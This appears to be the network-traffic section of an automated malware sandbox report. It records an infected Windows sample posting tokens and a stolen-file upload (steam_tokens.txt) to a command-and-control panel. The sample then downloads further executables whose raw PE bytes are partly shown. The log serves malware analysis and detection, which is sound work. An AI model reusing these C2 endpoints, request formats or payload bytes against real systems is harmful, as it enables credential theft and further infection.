Dec 2, 2024 07:38:04.534599066 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="message"files------EHCAEGDHJKFHJKFIJKJE--
Dec 2, 2024 07:38:04.988467932 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:38:05.004539013 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Dec 2, 2024 07:38:05.955012083 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:38:05.958229065 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"ybncbhylepme------JECGIIIDAKJDHJKFHIEB--
Dec 2, 2024 07:38:06.417402983 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49859	185.215.113.16	80	3604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:38:06.543885946 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 2, 2024 07:38:07.872083902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:38:07 GMT Content-Type: application/octet-stream Content-Length: 1895424 Last-Modified: Mon, 02 Dec 2024 06:31:59 GMT Connection: keep-alive ETag: "674d545f-1cec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@0K@WktJ$J @.rsrc@.idata @ p*@wzzqklpt 1@ckrwiwfnJ@.taggant0K"@
Dec 2, 2024 07:38:07.872345924 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:38:07.872468948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:38:07.872606993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:38:07.872617960 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:38:07.873591900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:38:07.873603106 CET	1236	IN	Data Raw: 9f 75 62 ca a1 b7 b7 80 1c 22 88 f7 9f ce 9c 33 e1 82 88 6b af 51 64 df 6f 40 43 3b 5e 26 a6 ac b0 d2 b8 40 85 36 2a 3c b2 7e 86 29 21 de a7 2b f4 50 b7 3b ca 2e 7b 73 41 12 5b 51 22 82 c0 00 b7 22 79 07 8a 02 86 3d 61 de 87 eb a2 d1 0d 9a 5a 92 Data Ascii: ub"3kQdo@C;^&@6*<~)!+P;.{sA[Q""y=aZ@5NO2yk&1_3CmKG\|gA~wr"&6@P.!^+JVBE:">{Pzo~J>ESn; Z`C
Dec 2, 2024 07:38:07.873615026 CET	248	IN	Data Raw: 3d d6 d8 00 d6 ca 7b cf cb 5a d1 bb c8 95 73 bb c9 8c 8d 5f 8b 72 8c 0b 6c a5 f3 93 bd 1c b5 ed 2a 47 ce dc fb 8b 04 41 e3 44 c6 b0 26 7a d9 b9 8e c3 a7 6b 06 73 64 46 9e 4c c6 0b 3c f9 5e 84 52 7a c2 50 d2 80 e2 17 df db 90 32 74 32 3c 47 4f bf Data Ascii: ={Zs_rl*GAD&zksdFL<^RzP2t2<GOK67=q`?^8#WB' f`cVym@<Hz`U!:8% S9RjKHtoa-ma-_ o-ELvo2^=~jICTLA^
Dec 2, 2024 07:38:07.874507904 CET	1236	IN	Data Raw: 4d 91 62 29 7b 4a 00 01 51 60 8a a7 26 df c1 b7 8b d6 31 30 95 e1 fa fc 10 12 03 ec a1 41 09 50 fb 8f ef cd 80 92 bb e4 13 8a 7b 46 87 7a d1 85 72 1d cb 3e 72 5e c0 26 9c 33 81 d2 4f 2d 4a b7 9a 20 b7 62 a6 e2 75 a4 1a 0c 86 10 28 d2 e9 e8 9f c6 Data Ascii: Mb){JQ`&10AP{Fzr>r^&3O-J bu(Wn+g:MIM9#MJ1Pr` z,e%k:&Gq&G,Wp@!ttxxwH@eeAhPbvf N:?jbsb>T!ky~[
Dec 2, 2024 07:38:07.875001907 CET	1236	IN	Data Raw: 74 65 32 0e 38 02 d8 bc 73 14 f3 8b 6b 23 09 6a c2 ae 57 40 c6 8e 84 47 19 40 0b 68 90 b4 22 40 c4 c2 83 43 0f 8a 77 1d 59 30 85 fe f2 57 96 4b 2e ef 7a 25 09 63 f3 51 82 65 de d4 fc ea 16 b9 87 1c b9 b6 fa 1e 59 4b a1 6a 2f 65 1f fc 1d d6 ba 5b Data Ascii: te28sk#jW@G@h"@CwY0WK.z%cQeYKj/e[EI4?O}k;u6Xmq;~i\9,veg+;##E)-@Ld+a=\|Xy`U#~S?][BUqMNo)]:'9Hh{Zc
Dec 2, 2024 07:38:07.992172956 CET	1236	IN	Data Raw: e0 ee 8a 9a ef 60 6e f6 9c 83 3f 3a 17 d2 64 46 84 4c ca d6 63 09 75 b9 5f 50 e2 47 6a a3 02 d5 22 62 88 14 8e 79 0b b4 4a b8 c7 8c ea 38 86 c5 7e df a4 44 cf 00 d6 3a f3 49 c1 31 71 f7 e9 83 86 61 fc 52 61 5e 6c 1c e8 a1 4e f6 8c 6a 7f 40 3c 68 Data Ascii: `n?:dFLcu_PGj"byJ8~D:I1qaRa^lNj@<hsZDirh2N0`g$h`Rzc'jLGPFNNlE#`hIFMD=Apq6jmdq0mqo!~3aD:R}P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49875	185.215.113.206	80	3604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:38:11.794759035 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 4a 44 48 43 47 43 42 4b 45 43 42 46 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------EGIIJDHCGCBKECBFIJKKContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------EGIIJDHCGCBKECBFIJKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGIIJDHCGCBKECBFIJKK--
Dec 2, 2024 07:38:13.691184998 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49989	185.215.113.43	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:04.386576891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 07:39:05.784023046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49996	185.215.113.43	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:07.421199083 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 2, 2024 07:39:08.818142891 CET	760	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 39 0d 0a 20 3c 63 3e 31 30 31 31 32 31 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 31 32 31 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 31 32 31 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 31 32 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 239 <c>1011212001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1011213001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1011214001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1011215001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1011216001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1011217001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50001	31.41.244.11	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:08.942773104 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 07:39:10.371361017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:10 GMT Content-Type: application/octet-stream Content-Length: 1963520 Last-Modified: Mon, 02 Dec 2024 01:24:49 GMT Connection: keep-alive ETag: "674d0c61-1df600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 39 d6 7e 68 7d b7 10 3b 7d b7 10 3b 7d b7 10 3b 63 e5 94 3b 61 b7 10 3b 63 e5 85 3b 69 b7 10 3b 63 e5 93 3b 25 b7 10 3b 5a 71 6b 3b 78 b7 10 3b 7d b7 11 3b 12 b7 10 3b 63 e5 9a 3b 7c b7 10 3b 63 e5 84 3b 7c b7 10 3b 63 e5 81 3b 7c b7 10 3b 52 69 63 68 7d b7 10 3b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 d5 36 5f 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 a6 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 d0 89 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$9~h};};};c;a;c;i;c;%;Zqk;x;};;c;\|;c;\|;c;\|;Rich};PEL6_f@ZBn@\ @T@.rsrc@xd@.idata B@ )B@ymqqshfdk@ftkrcswf@.taggant0"@
Dec 2, 2024 07:39:10.371494055 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:10.371505022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:10.371527910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:10.371539116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:10.371659040 CET	1236	IN	Data Raw: 5a 76 fe ab 41 8d 8d 6d e2 df 95 ee 4f dd 96 dd 92 9c f6 05 9a 7e 83 83 9b 0c c2 f5 b5 6a 88 5c ee 03 c8 bd b1 e3 c2 ec 26 43 00 f9 33 77 97 b6 76 1d 98 b8 0a 6a 96 c6 49 3c ff fe a8 75 06 67 ff cb 32 4e 72 a9 8d ae 1e 7a 3c d0 9e 7f a5 83 fd 53 Data Ascii: ZvAmO~j\&C3wvjI<ug2Nrz<SiJW_QiiO8'J}&ZVQJWaK&\|T@u4bW>=#'7k6=e}zz6^s L^sKO>taw>%B
Dec 2, 2024 07:39:10.371670008 CET	1236	IN	Data Raw: 58 6f cb a0 69 51 99 1e a1 8b c5 e2 ac 83 e5 f5 0d 1c 99 ce fa d1 4e fd 4e 1b d2 bf d4 a0 56 d2 9b eb f5 f8 99 54 26 eb 50 92 be ea e9 83 f4 bc 0a 56 d9 40 7a d0 77 ea fd 8c 60 be 51 86 9a 65 1a 83 91 6d dd 2f ff af 83 bb a7 cb 9f cb f1 d0 54 06 Data Ascii: XoiQNNVT&PV@zw`Qem/Tn#n@C.)LZ9lx>X"S7;k3tm.?]3W{z2!OfynVpnzThSqK&s"gIM<l{2tgI
Dec 2, 2024 07:39:10.371714115 CET	1120	IN	Data Raw: 93 95 96 d1 cd 0b ed 5a d4 a5 c7 5f 3d c9 a9 a3 54 e6 bf c1 ac 82 d4 76 73 5b 4e 3f 76 d9 75 9d 7a ae fb 0c 4c 4b 74 3e da 08 26 02 d5 f9 66 a4 91 d2 d5 ab 4d 61 ee 75 00 9d 10 ce 54 01 1d 7f bf 89 b1 cd fc 96 b6 3c 96 9f af 3e 68 66 7e d5 c2 30 Data Ascii: Z_=Tvs[N?vuzLKt>&fMauT<>hf~0,GNRbE}y{$=gT#:Jqac?;k[`w=Lyo79mwlp5Vz%\|NV`\{u~I4ZKB!gR\|KpG
Dec 2, 2024 07:39:10.371726036 CET	1236	IN	Data Raw: 03 0b 09 cd fc 53 57 a9 f1 8b 36 ce f9 85 ba ed e7 48 6a d3 aa 6a 0a 1c fa 2f e4 05 46 a8 87 37 d2 28 30 ad d4 15 88 1b 21 2b 8b a3 44 32 86 4c 5f d4 9a ec 1b 54 06 36 6b 13 46 6e 29 62 d6 10 75 9c 43 06 28 ad 1e dd ad 68 c1 20 76 31 86 4e 4b b1 Data Ascii: SW6Hjj/F7(0!+D2L_T6kFn)buC(h v1NKjt/3iPbS0\o?I^Z,jt:o=uzM6jo2nX-tA=`80HoMWQn/pRmP']eRNenqd
Dec 2, 2024 07:39:10.371742010 CET	1236	IN	Data Raw: 36 72 09 7f dc b3 ce 00 4f 77 87 f6 d2 21 5f be 67 4c 8f de 95 3f ab ea 3f a7 cd ea b9 8b 01 ac 7d 83 19 36 d6 f8 5a cf e6 43 7f 5b 16 47 ad 03 ce 00 2f f1 49 08 23 32 bf 4b 76 73 96 87 e9 ac 99 84 e1 59 56 f7 03 73 aa be f6 48 cf e2 c1 c3 98 e9 Data Ascii: 6rOw!_gL??}6ZC[G/I#2KvsYVsHI5WNH\vokHPe3EYv8\M5\x!7!O2__]zLXmRUP-i8{8q-<[Lpx
